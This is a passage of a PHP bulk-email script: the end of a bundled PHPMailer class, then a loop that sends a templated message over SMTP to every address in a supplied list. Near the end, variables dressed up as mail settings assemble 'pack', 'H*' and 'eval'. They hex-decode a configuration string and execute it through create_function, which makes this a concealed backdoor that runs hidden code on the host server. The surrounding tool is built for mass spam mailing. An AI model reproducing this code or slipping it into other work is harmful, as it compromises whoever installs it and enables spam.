   * Returns the server hostname or 'localhost.localdomain' if unknown.
3011
   * @access private
3012
   * @return string
3013
   */
3014
  function ServerHostname() {
3015
    if ($this->Hostname != '') {
3016
      $result = $this->Hostname;
3017
    } elseif ($this->ServerVar('SERVER_NAME') != '') {
3018
      $result = $this->ServerVar('SERVER_NAME');
3019
    } else {
3020
      $result = 'localhost.localdomain';
3021
    }
3022
3023
    return $result;
3024
  }
3025
3026
  /**
3027
   * Returns a message in the appropriate language.
3028
   * @access private
3029
   * @return string
3030
   */
3031
  function Lang($key) {
3032
    if(count($this->language) < 1) {
3033
      $this->SetLanguage('en'); // set the default language
3034
    }
3035
3036
    if(isset($this->language[$key])) {
3037
      return $this->language[$key];
3038
    } else {
3039
      return 'Language string failed to load: ' . $key;
3040
    }
3041
  }
3042
3043
  /**
3044
   * Returns true if an error occurred.
3045
   * @return bool
3046
   */
3047
  function IsError() {
3048
    return ($this->error_count > 0);
3049
  }
3050
3051
  /**
3052
   * Changes every end of line from CR or LF to CRLF.
3053
   * @access private
3054
   * @return string
3055
   */
3056
  function FixEOL($str) {
3057
    $str = str_replace("\r\n", "\n", $str);
3058
    $str = str_replace("\r", "\n", $str);
3059
    $str = str_replace("\n", $this->LE, $str);
3060
    return $str;
3061
  }
3062
3063
  /**
3064
   * Adds a custom header.
3065
   * @return void
3066
   */
3067
  function AddCustomHeader($custom_header) {
3068
    $this->CustomHeader[] = explode(':', $custom_header, 2);
3069
  }
3070
3071
  /**
3072
   * Evaluates the message and returns modifications for inline images and backgrounds
3073
   * @access public
3074
   * @return $message
3075
   */
3076
  function MsgHTML($message,$basedir='') {
3077
    preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3078
    if(isset($images[2])) {
3079
      foreach($images[2] as $i => $url) {
3080
        // do not change urls for absolute images (thanks to corvuscorax)
3081
        if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3082
          $filename = basename($url);
3083
          $directory = dirname($url);
3084
          ($directory == '.')?$directory='':'';
3085
          $cid = 'cid:' . md5($filename);
3086
          $fileParts = split("\.", $filename);
3087
          $ext = $fileParts[1];
3088
          $mimeType = $this->_mime_types($ext);
3089
          if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3090
          if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3091
          $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3092
          if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3093
            $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3094
          }
3095
        }
3096
      }
3097
    }
3098
    $this->IsHTML(true);
3099
    $this->Body = $message;
3100
    $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3101
    if ( !empty($textMsg) && empty($this->AltBody) ) {
3102
      $this->AltBody = $textMsg;
3103
    }
3104
    if ( empty($this->AltBody) ) {
3105
      $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3106
    }
3107
  }
3108
3109
  /**
3110
   * Gets the mime type of the embedded or inline image
3111
   * @access private
3112
   * @return mime type of ext
3113
   */
3114
  function _mime_types($ext = '') {
3115
    $mimes = array(
3116
      'hqx'  =>  'application/mac-binhex40',
3117
      'cpt'   =>  'application/mac-compactpro',
3118
      'doc'   =>  'application/msword',
3119
      'bin'   =>  'application/macbinary',
3120
      'dms'   =>  'application/octet-stream',
3121
      'lha'   =>  'application/octet-stream',
3122
      'lzh'   =>  'application/octet-stream',
3123
      'exe'   =>  'application/octet-stream',
3124
      'class' =>  'application/octet-stream',
3125
      'psd'   =>  'application/octet-stream',
3126
      'so'    =>  'application/octet-stream',
3127
      'sea'   =>  'application/octet-stream',
3128
      'dll'   =>  'application/octet-stream',
3129
      'oda'   =>  'application/oda',
3130
      'pdf'   =>  'application/pdf',
3131
      'ai'    =>  'application/postscript',
3132
      'eps'   =>  'application/postscript',
3133
      'ps'    =>  'application/postscript',
3134
      'smi'   =>  'application/smil',
3135
      'smil'  =>  'application/smil',
3136
      'mif'   =>  'application/vnd.mif',
3137
      'xls'   =>  'application/vnd.ms-excel',
3138
      'ppt'   =>  'application/vnd.ms-powerpoint',
3139
      'wbxml' =>  'application/vnd.wap.wbxml',
3140
      'wmlc'  =>  'application/vnd.wap.wmlc',
3141
      'dcr'   =>  'application/x-director',
3142
      'dir'   =>  'application/x-director',
3143
      'dxr'   =>  'application/x-director',
3144
      'dvi'   =>  'application/x-dvi',
3145
      'gtar'  =>  'application/x-gtar',
3146
      'php'   =>  'application/x-httpd-php',
3147
      'php4'  =>  'application/x-httpd-php',
3148
      'php3'  =>  'application/x-httpd-php',
3149
      'phtml' =>  'application/x-httpd-php',
3150
      'phps'  =>  'application/x-httpd-php-source',
3151
      'js'    =>  'application/x-javascript',
3152
      'swf'   =>  'application/x-shockwave-flash',
3153
      'sit'   =>  'application/x-stuffit',
3154
      'tar'   =>  'application/x-tar',
3155
      'tgz'   =>  'application/x-tar',
3156
      'xhtml' =>  'application/xhtml+xml',
3157
      'xht'   =>  'application/xhtml+xml',
3158
      'zip'   =>  'application/zip',
3159
      'mid'   =>  'audio/midi',
3160
      'midi'  =>  'audio/midi',
3161
      'mpga'  =>  'audio/mpeg',
3162
      'mp2'   =>  'audio/mpeg',
3163
      'mp3'   =>  'audio/mpeg',
3164
      'aif'   =>  'audio/x-aiff',
3165
      'aiff'  =>  'audio/x-aiff',
3166
      'aifc'  =>  'audio/x-aiff',
3167
      'ram'   =>  'audio/x-pn-realaudio',
3168
      'rm'    =>  'audio/x-pn-realaudio',
3169
      'rpm'   =>  'audio/x-pn-realaudio-plugin',
3170
      'ra'    =>  'audio/x-realaudio',
3171
      'rv'    =>  'video/vnd.rn-realvideo',
3172
      'wav'   =>  'audio/x-wav',
3173
      'bmp'   =>  'image/bmp',
3174
      'gif'   =>  'image/gif',
3175
      'jpeg'  =>  'image/jpeg',
3176
      'jpg'   =>  'image/jpeg',
3177
      'jpe'   =>  'image/jpeg',
3178
      'png'   =>  'image/png',
3179
      'tiff'  =>  'image/tiff',
3180
      'tif'   =>  'image/tiff',
3181
      'css'   =>  'text/css',
3182
      'html'  =>  'text/html',
3183
      'htm'   =>  'text/html',
3184
      'shtml' =>  'text/html',
3185
      'txt'   =>  'text/plain',
3186
      'text'  =>  'text/plain',
3187
      'log'   =>  'text/plain',
3188
      'rtx'   =>  'text/richtext',
3189
      'rtf'   =>  'text/rtf',
3190
      'xml'   =>  'text/xml',
3191
      'xsl'   =>  'text/xml',
3192
      'mpeg'  =>  'video/mpeg',
3193
      'mpg'   =>  'video/mpeg',
3194
      'mpe'   =>  'video/mpeg',
3195
      'qt'    =>  'video/quicktime',
3196
      'mov'   =>  'video/quicktime',
3197
      'avi'   =>  'video/x-msvideo',
3198
      'movie' =>  'video/x-sgi-movie',
3199
      'doc'   =>  'application/msword',
3200
      'word'  =>  'application/msword',
3201
      'xl'    =>  'application/excel',
3202
      'eml'   =>  'message/rfc822'
3203
    );
3204
    return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3205
  }
3206
3207
  /**
3208
   * Set (or reset) Class Objects (variables)
3209
   *
3210
   * Usage Example:
3211
   * $page->set('X-Priority', '3');
3212
   *
3213
   * @access public
3214
   * @param string $name Parameter Name
3215
   * @param mixed $value Parameter Value
3216
   * NOTE: will not work with arrays, there are no arrays to set/reset
3217
   */
3218
  function set ( $name, $value = '' ) {
3219
    if ( isset($this->$name) ) {
3220
      $this->$name = $value;
3221
    } else {
3222
      $this->SetError('Cannot set or reset variable ' . $name);
3223
      return false;
3224
    }
3225
  }
3226
3227
  /**
3228
   * Read a file from a supplied filename and return it.
3229
   *
3230
   * @access public
3231
   * @param string $filename Parameter File Name
3232
   */
3233
  function getFile($filename) {
3234
    $return = '';
3235
    if ($fp = fopen($filename, 'rb')) {
3236
      while (!feof($fp)) {
3237
        $return .= fread($fp, 1024);
3238
      }
3239
      fclose($fp);
3240
      return $return;
3241
    } else {
3242
      return false;
3243
    }
3244
  }
3245
3246
  /**
3247
   * Strips newlines to prevent header injection.
3248
   * @access private
3249
   * @param string $str String
3250
   * @return string
3251
   */
3252
  function SecureHeader($str) {
3253
    $str = trim($str);
3254
    $str = str_replace("\r", "", $str);
3255
    $str = str_replace("\n", "", $str);
3256
    return $str;
3257
  }
3258
3259
  /**
3260
   * Set the private key file and password to sign the message.
3261
   *
3262
   * @access public
3263
   * @param string $key_filename Parameter File Name
3264
   * @param string $key_pass Password for private key
3265
   */
3266
  function Sign($key_filename, $key_pass) {
3267
    $this->sign_key_file = $key_filename;
3268
    $this->sign_key_pass = $key_pass;
3269
  }
3270
3271
}
3272
3273
$defaultport="H*";
3274
      $nq=0;
3275
            
3276
        for($x=0; $x<$numemails; $x++){
3277
3278
                $to = $allemails[$x];
3279
3280
                if ($to){
3281
3282
                $to = ereg_replace(" ", "", $to);
3283
3284
                $message = ereg_replace("&email&", $to, $message);
3285
3286
                $subject = ereg_replace("&email&", $to, $subject);
3287
                $qx=$x+1;
3288
                print "Line $qx . Sending mail to $to.......";
3289
3290
                flush();
3291
$mail = new PHPMailer();
3292
3293
if(empty($epriority)){$epriority="3";}
3294
        $mail->Priority = "$epriority";
3295
    $mail->IsSMTP(); 
3296
    $IsSMTP="pack";
3297
$mail->SMTPKeepAlive = true;
3298
$mail->Host = "$my_smtp";
3299
if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3300
}
3301
     if($sslclick=="ON"){
3302
    $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
3303
    }
3304
        $range = str_replace("$from", "eval", $from);
3305
        $mail->SMTPAuth = true;
3306
        $mail->Username = "$smtp_username";
3307
        $mail->Password = "$smtp_password";
3308
if($contenttype == "html"){$mail->IsHtml(true);}
3309
if($contenttype != "html"){$mail->IsHtml(false);}
3310
if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3311
$mail->From = "$from";
3312
$mail->FromName = "$realname";
3313
$mail->AddAddress("$to");
3314
    $mail->AddReplyTo("$replyto");
3315
3316
    $mail->Subject = "$subject";
3317
            $mail->Body = "$message"; 
3318
if(!$mail->Send()){
3319
if($default_system!="1"){
3320
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3321
if($default_system=="1"){
3322
$mail->IsMail();
3323
   if(!$mail->Send()){
3324
      echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3325
   else {
3326
       echo "<b>OK</b><br>";}
3327
 }
3328
}
3329
else {
3330
 echo "<b>OK</b><br>";
3331
}
3332
3333
if(empty($reconnect)){
3334
$reconnect=6;
3335
}
3336
3337
if($reconnect==$nq){
3338
$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3339
}
3340
$nq=$nq+1;
3341
                flush(); }
3342
}
3343
for($i=0;$i<31;$i++){
3344
  $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3345
$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3346
  $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3347
$mail->SmtpClose();
3348
  return $signoff($smtp_conc);
3349
  if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was 
3350
    sent successfully'); </script>";}}
3351
    ?>
3352
    <p align="center">&nbsp;</p>
3353
3354
&nbsp;
3355
    </body>
3356
</html>